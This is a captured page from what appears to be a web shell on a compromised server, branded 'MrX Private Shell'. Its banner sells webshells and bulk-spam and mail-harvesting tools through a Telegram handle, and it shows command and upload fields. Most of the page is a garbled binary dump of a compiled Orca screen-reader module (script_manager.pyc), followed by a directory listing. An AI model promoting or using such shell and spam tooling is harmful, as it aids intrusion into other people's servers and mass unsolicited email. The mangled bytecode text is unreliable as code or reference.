__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�:���%SrSrSrSrSrSrSSKrSSKJr SSK	r	\	R"S	S
5 SSKJr SS
K
Jr SSK
Jr SSK
Jr SSK
Jr SSKJr SSKJr SSKJrJrJrJr "SS5r\"5r\\S'S\4Sjrg)�Manages Orca's scripts.z$Id$z
$Revision$z$Date$z$Copyright (c) 2011-2024 Igalia, S.L.�LGPL�N)�Optional�Atspiz2.0)r�)�braille)�debug)�settings_manager)�speech_and_verbosity_manager)�AXObject)�AXUtilities)�apps�default�	sleepmode�toolkitsc���\rSrSrSrSSjrSSjrSSjrS\\	RS\\4S	jrS
\	RS\\4Sjr
S
\	RS\4SjrS\	RS
\S\\R 4SjrSS\	RS
\\	RS\R 4SjjrSS\\	RS\R 4SjjrS\	RS\R 4SjrSS\\	RS
\\	RS\R 4SjjrS\\R 4SjrS\\	R4SjrSS\\R S\SS4SjjrSSjrSrg)�
ScriptManager�3r�returnNc��[R"[RSS5 0Ul0Ul0Ul0UlSUlSUlSUl	[R"[RSS5 g)NzSCRIPT MANAGER: InitializingTFzSCRIPT MANAGER: Initialized)
r	�
print_message�
LEVEL_INFO�app_scripts�toolkit_scripts�custom_scripts�_sleep_mode_scripts�_default_script�_active_script�_active��selfs �5/usr/lib/python3/dist-packages/orca/script_manager.py�__init__�ScriptManager.__init__6sk��
���E�,�,�.L�d�S�!#���%'���$&���)+�� �9=���8<���"���
���E�,�,�.K�T�R�c��[R"[RSSS5 UR(a'[R"[RSS5 gUR	S5UlUR
R
5 URUR
S5 SUl[R"[RSS5 g)z-Called when this script manager is activated.zSCRIPT MANAGER: ActivatingTz!SCRIPT MANAGER: Already activatedN�activatezSCRIPT MANAGER: Activated)r	rrr�get_default_scriptr�register_event_listeners�set_active_scriptr s r"r'�ScriptManager.activateAs���	���E�,�,�.J�D�RV�W��<�<����� 0� 0�2U�W[�\��#�6�6�t�<������5�5�7����t�3�3�Z�@����
���E�,�,�.I�4�Pr%c���[R"[RSSS5 UR(d'[R"[RSS5 gURbURR5 SUlUR
SS5 0Ul0Ul0Ul	SUl[R"[RSS5 g)z/Called when this script manager is deactivated.�SCRIPT MANAGER: DeactivatingTz#SCRIPT MANAGER: Already deactivatedN�
deactivateFzSCRIPT MANAGER: Deactivated)
r	rrrr�deregister_event_listenersr*rrrr s r"r.�ScriptManager.deactivateOs���	���E�,�,�.L�d�TX�Y��|�|����� 0� 0�2W�Y]�^�����+�� � �;�;�=�#������t�\�2����!��� ������
���E�,�,�.K�T�Rr%�appc��Uc)Sn[R"[RUS5 g[R"U5nU(d)Sn[R"[RUS5 gSSSSSSS.n[UR
55nURS	5(dURS
5(aURS5SnO@URS
5(dURS5(aURS5SnUVs/sH(ofR5UR5:XdM&UPM* nnU(aURUSS5nOj[R[R4HFnUVs/sH(ofR5UR5:XdM&UPM* nnU(dMAUSn O SUSU/n	[R"[RU	S5 U$s snfs snf)zAReturns the module name of the script to use for application app.Nz3SCRIPT MANAGER: Cannot get module name for null appTz7SCRIPT MANAGER: Cannot get module name for nameless app�switcherznotification-daemon�gedit)zgtk-window-decorator�marcozmate-notification-daemon�metacity�plumaz
xfce4-notifydz.pyz.bin�.rzorg.zcom.����zSCRIPT MANAGER: Mapped�to)r	rrr�get_name�list�keys�endswith�split�
startswith�lower�getr�__all__r�print_tokens)
r!r1�msg�name�	app_names�	alt_names�n�names�	name_list�tokenss
          r"�get_module_name�ScriptManager.get_module_nameas����;�G�C����� 0� 0�#�t�<��� � ��%���K�C����� 0� 0�#�t�<��-7�(�1F�!+�%�&;�=�	�����)�*�	��=�=����4�=�=��#8�#8��:�:�c�?�1�%�D�
�_�_�V�
$�
$�����(?�(?��:�:�c�?�2�&�D�%�C�I�q����d�j�j�l�)B��I��C���=�=��q��2�.�D�"�l�l�H�,<�,<�=�	�$-�K�I�q����d�j�j�l�1J��I��K��5� ��8�D��	>�+�C��t�<��
���5�+�+�V�T�:����D��
Ls�%H�H�%H�8H�objc�\�SSS.n[R"US5nURX35$)z4Returns the name of the toolkit associated with obj.�gtk)�GTK�GAIL�toolkit)r�
get_attributerC)r!rPrKrGs    r"�_toolkit_for_object�!ScriptManager._toolkit_for_object�s/���u�-���%�%�c�9�5���y�y��$�$r%c�<�[R"U5(agg)z&Returns the role-based script for obj.�terminalr:)r
�is_terminal)r!rPs  r"�_script_for_role�ScriptManager._script_for_role�s���"�"�3�'�'��r%rGc��U(aU(dg/SQnSnUH�nSRXR45n[R"U5nSU/n	[
R"[
RU	S5 [WS5(aURU5nOURU5n U$ U$![a M�[a7nSUSU/n	[
R"[
RU	SS5 SnAN�SnAff=f![a9nS	USU/n	[
R"[
RU	SS5 SnAGM SnAff=f)
zEReturns a script based on this module if it was located and loadable.N)zorca-scriptszorca.scriptszorca.scripts.appszorca.scripts.toolkitsr8zEXCEPTION: Could not import�:TzSCRIPT MANAGER: Found�	getScriptzEXCEPTION: Could not load)�join�	importlib�
import_module�ImportError�OSErrorr	rEr�hasattr�
get_script�Script�	Exception)
r!r1rG�packages�script�package�module_name�module�errorrMs
          r"�_new_named_script�ScriptManager._new_named_script�s4�����a�����G��(�(�G�?�3�K�
I�"�0�0��=��.�{�;�F����u�/�/���>�
I��6�;�/�/�#�.�.�s�3�F�#�]�]�3�/�F��
�
�- �,�
��%�
���
I�7��c�5�Q���"�"�5�#3�#3�V�T�4�H�H��
I���
I�5�{�C��O���"�"�5�#3�#3�V�T�4�H�H��
I�s5�B*�/4C:�*
C7�7	C7�-C2�2C7�:
D=�-D8�8D=c���URU5=(d SnURX5nU(aU$URU5=(d SnURX5nU(aU$[R"U5nU(aU(aURX5nU(d>URU5nSUSUS/n[R"[RUS5 U$)z8For the given application, create a new script instance.r:z*SCRIPT MANAGER: Default script created forz(obj: �)T)	rNrprWr
�get_application_toolkit_namer(r	rEr)r!r1rPrmrk�obj_toolkit�toolkit_namerMs        r"�_create_script�ScriptManager._create_script�s���
�*�*�3�/�5�2���'�'��9����M��.�.�s�3�9�r���'�'��9����M�"�?�?��D���<��+�+�C�>�F���,�,�S�1�F�B�C��SV�X[�\�F����u�/�/���>��
r%c��U(dUR(aUR$[R"U5nU(dX lU$)zReturns the default script.)rrrh�r!r1rks   r"r(� ScriptManager.get_default_script�s7���t�+�+��'�'�'�����$���#)� ��
r%c��URRU5nUbU$[R"U5nX RU'U$)z%Gets or crates the sleep mode script.)rrCrrhrzs   r"�get_or_create_sleep_mode_script�-ScriptManager.get_or_create_sleep_mode_script�sH���)�)�-�-�c�2�����M��!�!�#�&��(.� � ��%��
r%c��SX/n[R"[RUS5 SnSnSnURU5nU(aWURRU05nURU5nU(dUR
X5nXHU'X�RU'URU5n	U	(aWURRU05n
U
RU	5nU(dURX5nXjU	'X�RU'U(dUR5nO@XR;aURUnO!URUS5nXPRU'UceUR5RU5(a;SXQ/n[R"[RUS5 URU5$U(a,SU/n[R"[RUS5 U$U(a�[ R""U5(dl[ R$"U5(dQ['UR(UR(5(d,SU/n[R"[RUS5 U$S	U/n[R"[RUS5 U$![aGnSUSU/n[R"[RUS5 UR5nSnAGN�SnAff=f)
z3Get a script for an app (and make it if necessary).z"SCRIPT MANAGER: Getting script forTNz+EXCEPTION: Exception getting app script forr_z)SCRIPT MANAGER: Sleep-mode toggled on forz'SCRIPT MANAGER: Script is custom scriptz(SCRIPT MANAGER: Script is toolkit scriptz$SCRIPT MANAGER: Script is app script)r	rErr\rrCrprWrrwr(rri�get_sleep_mode_manager�is_active_for_appr}r
�is_frame�
is_status_bar�
issubclass�	__class__)r!r1rPrM�
custom_script�
app_script�toolkit_script�	role_namerrurros            r"rg�ScriptManager.get_script�s���
7��A��
���5�+�+�V�T�:�26�
�/3�
�37���)�)�#�.�	��!�0�0�4�4�S�"�=�N�*�.�.�y�9�M� � $� 6� 6�s� F�
�,9�y�)�'5����$��.�.�s�3���"�2�2�6�6�s�B�?�O�,�0�0��=�N�!�!%�!4�!4�S�!>��/=��,�(7� � ��%�	3��!�4�4�6�
��(�(�(�!�-�-�c�2�
�!�0�0��d�;�
�(2� � ��%��%�%�%��,�,�.�@�@��E�E�A�:�S�F����u�/�/���>��7�7��<�<��?��O�F����u�/�/���>� � ��;�#7�#7��#<�#<��@Y�@Y�Z]�@^�@^��j�2�2�N�4L�4L�M�M�@�.�Q�F����u�/�/���>�!�!�8�*�E��
���5�+�+�V�T�:����5�	3�C�S�#�u�U�F����u�/�/���>��0�0�2�J��	3�s$�J9�(J9� J9�9
L
�<L�L
c��SUR/n[R"[RUS5 UR$)zReturns the active script.z!SCRIPT MANAGER: Active script is:T)rr	rEr�r!rMs  r"�get_active_script�ScriptManager.get_active_script+s8��6�t�7J�7J�K��
���5�+�+�V�T�:��"�"�"r%c���URcgSURR/n[R"[RUS5 URR$)z2Returns the app associated with the active script.Nz%SCRIPT MANAGER: Active script app is:T)rr1r	rErr�s  r"�get_active_script_app�#ScriptManager.get_active_script_app2sS�����&��9�4�;N�;N�;R�;R�S��
���5�+�+�V�T�:��"�"�&�&�&r%�
new_script�reasonc�4�URU:XagURbPSURSU/n[R"[RUS5 URR	5 URnXlUcg[
R"5n0nU(a*URUR:XaUR5nSUSU/n[R"[RUS5 UR5 UR5HupxURXx5 M [R"5 [R"URR!55 ["R"5R%5 g)z$Set the active script to new_script.Nr-zreason:Tz(SCRIPT MANAGER: Setting active script to)rr	rErr.r
�get_managerr1�get_runtime_settingsr'�items�set_settingr�checkBrailleSetting�setupKeyRanges�braille_bindingsr>r�check_speech_setting)	r!r�r�rM�
old_script�manager�runtime_settings�key�values	         r"r*�ScriptManager.set_active_script<sE�����*�,�����*�4�d�6I�6I�9�V\�]�F����u�/�/���>����*�*�,��(�(�
�(�����"�.�.�0�����*�.�.�J�N�N�:�&�;�;�=��<�j�)�U[�\��
���5�+�+�V�T�:�����*�0�0�2�J�C�����+�3�	�#�#�%����z�:�:�?�?�A�B�$�0�0�2�G�G�Ir%c��Sn[R"[RUS5 [URR55nUH�n[R"U5(aM URRU5nSXDR/n[R"[RUS5 URRU5 URRU5 URRU5 M� g![a0 SUS/n[R"[RUS5 GMf=f![a N�f=f![a Nzf=f![a GM4f=f)zaCompares the list of known scripts to the list of known apps,
deleting any scripts as necessary.
z1SCRIPT MANAGER: Checking and cleaning up scripts.TzSCRIPT MANAGER:znot found in app_scriptsz)SCRIPT MANAGER: Old script for app found:N)r	rrr=rr>r
�is_application_in_desktop�pop�KeyErrorrEr1rrr)r!rF�app_listr1r�rMs      r"�reclaim_scripts�ScriptManager.reclaim_scripts]sZ��
B��
���E�,�,�c�4�8���(�(�-�-�/�0���C��4�4�S�9�9��
�!�-�-�1�1�#�6�
�B�:�~�~�^�F����u�/�/���>�
��(�(�,�,�S�1�
��$�$�(�(��-�
��#�#�'�'��,�3���
�+�S�2L�M���"�"�5�#3�#3�V�T�B��
���
��
��
�
��
��
�
��
�sH�/D�?E�E$�7E4�5E�E�
E!� E!�$
E1�0E1�4
F�F)rrrrrrr)rN)N)r:)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r#r'r.rr�
Accessible�strrNrWr\rrhrprwr(rr}rgr�r�r*r��__static_attributes__�r%r"rr3s���!�	S�Q�S�$&�8�E�,<�,<�#=�&�(�3�-�&�P%�u�'7�'7�%�H�S�M�%��E�$4�$4�����U�%5�%5��S��X�g�n�n�E]��BHL���#�#��*2�5�3C�3C�*D��	����4
�h�u�/?�/?�&@�
�G�N�N�
�	�5�3C�3C�	�	�HX�HX�	�RV�@��E�,�,�-�@�4<�U�=M�=M�4N�@�	���@�D#�8�G�N�N�#;�#�'�x��0@�0@�'A�'�J�H�W�^�^�,D�J�c�J�[_�J�B$r%r�_managerrc��[$)z%Returns the Script Manager singleton.)r�r�r%r"r�r��s���Or%)r��__id__�__version__�__date__�
__copyright__�__license__rb�typingr�gi�require_version�
gi.repositoryrr:rr	r
r�	ax_objectr�ax_utilitiesr
�scriptsrrrrrr��__annotations__r�r�r%r"�<module>r�s���0�������6�
�����	����7�E�"��
���*��%�7�7�N�N�`
(�/��-�)��]�r%

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 276 B 0644
acss.cpython-313.pyc File 4.37 KB 0644
action_presenter.cpython-313.pyc File 12.53 KB 0644
ax_collection.cpython-313.pyc File 6.06 KB 0644
ax_component.cpython-313.pyc File 22.4 KB 0644
ax_document.cpython-313.pyc File 13.2 KB 0644
ax_event_synthesizer.cpython-313.pyc File 22.37 KB 0644
ax_hypertext.cpython-313.pyc File 11.3 KB 0644
ax_object.cpython-313.pyc File 63.85 KB 0644
ax_selection.cpython-313.pyc File 5.26 KB 0644
ax_table.cpython-313.pyc File 62.75 KB 0644
ax_text.cpython-313.pyc File 58.92 KB 0644
ax_utilities.cpython-313.pyc File 37.16 KB 0644
ax_utilities_application.cpython-313.pyc File 9.14 KB 0644
ax_utilities_collection.cpython-313.pyc File 125.47 KB 0644
ax_utilities_debugging.cpython-313.pyc File 15.44 KB 0644
ax_utilities_event.cpython-313.pyc File 41.86 KB 0644
ax_utilities_relation.cpython-313.pyc File 21.3 KB 0644
ax_utilities_role.cpython-313.pyc File 139.59 KB 0644
ax_utilities_state.cpython-313.pyc File 19.65 KB 0644
ax_value.cpython-313.pyc File 8.8 KB 0644
bookmarks.cpython-313.pyc File 16.09 KB 0644
braille.cpython-313.pyc File 82.01 KB 0644
braille_generator.cpython-313.pyc File 71.06 KB 0644
braille_rolenames.cpython-313.pyc File 8.73 KB 0644
brlmon.cpython-313.pyc File 9.02 KB 0644
brltablenames.cpython-313.pyc File 2.46 KB 0644
bypass_mode_manager.cpython-313.pyc File 5.79 KB 0644
caret_navigation.cpython-313.pyc File 22.86 KB 0644
chat.cpython-313.pyc File 33.96 KB 0644
clipboard.cpython-313.pyc File 27.81 KB 0644
cmdnames.cpython-313.pyc File 18.85 KB 0644
colornames.cpython-313.pyc File 11.83 KB 0644
debug.cpython-313.pyc File 4.76 KB 0644
debugging_tools_manager.cpython-313.pyc File 13.8 KB 0644
event_manager.cpython-313.pyc File 43.89 KB 0644
flat_review.cpython-313.pyc File 59.1 KB 0644
flat_review_finder.cpython-313.pyc File 29.77 KB 0644
flat_review_presenter.cpython-313.pyc File 59.01 KB 0644
focus_manager.cpython-313.pyc File 14.24 KB 0644
generator.cpython-313.pyc File 95.62 KB 0644
guilabels.cpython-313.pyc File 12.43 KB 0644
highlighter.cpython-313.pyc File 9.86 KB 0644
input_event.cpython-313.pyc File 45.78 KB 0644
input_event_manager.cpython-313.pyc File 48.43 KB 0644
keybindings.cpython-313.pyc File 27.27 KB 0644
keynames.cpython-313.pyc File 4.73 KB 0644
label_inference.cpython-313.pyc File 25.15 KB 0644
learn_mode_presenter.cpython-313.pyc File 19.89 KB 0644
liveregions.cpython-313.pyc File 31.34 KB 0644
mathsymbols.cpython-313.pyc File 64.53 KB 0644
messages.cpython-313.pyc File 41.8 KB 0644
mouse_review.cpython-313.pyc File 33.59 KB 0644
notification_presenter.cpython-313.pyc File 18.47 KB 0644
object_navigator.cpython-313.pyc File 15.8 KB 0644
object_properties.cpython-313.pyc File 8.27 KB 0644
orca.cpython-313.pyc File 13.43 KB 0644
orca_gtkbuilder.cpython-313.pyc File 5.53 KB 0644
orca_gui_navlist.cpython-313.pyc File 10.45 KB 0644
orca_gui_prefs.cpython-313.pyc File 166.31 KB 0644
orca_gui_profile.cpython-313.pyc File 5.69 KB 0644
orca_i18n.cpython-313.pyc File 2.63 KB 0644
orca_modifier_manager.cpython-313.pyc File 17.05 KB 0644
orca_platform.cpython-313.pyc File 661 B 0644
phonnames.cpython-313.pyc File 1.51 KB 0644
pronunciation_dict.cpython-313.pyc File 1.95 KB 0644
script.cpython-313.pyc File 15.33 KB 0644
script_manager.cpython-313.pyc File 18.15 KB 0644
script_utilities.cpython-313.pyc File 87.03 KB 0644
settings.cpython-313.pyc File 6.79 KB 0644
settings_manager.cpython-313.pyc File 35.18 KB 0644
sleep_mode_manager.cpython-313.pyc File 6.67 KB 0644
sound.cpython-313.pyc File 8.71 KB 0644
sound_generator.cpython-313.pyc File 58.4 KB 0644
speech.cpython-313.pyc File 10.75 KB 0644
speech_and_verbosity_manager.cpython-313.pyc File 34.1 KB 0644
speech_generator.cpython-313.pyc File 214.55 KB 0644
speechdispatcherfactory.cpython-313.pyc File 33.52 KB 0644
speechserver.cpython-313.pyc File 10.21 KB 0644
spellcheck.cpython-313.pyc File 24.24 KB 0644
spiel.cpython-313.pyc File 34.68 KB 0644
ssml.cpython-313.pyc File 6.03 KB 0644
structural_navigation.cpython-313.pyc File 93.9 KB 0644
system_information_presenter.cpython-313.pyc File 9.42 KB 0644
table_navigator.cpython-313.pyc File 36.48 KB 0644
text_attribute_names.cpython-313.pyc File 6.01 KB 0644
where_am_i_presenter.cpython-313.pyc File 26.41 KB 0644
Filemanager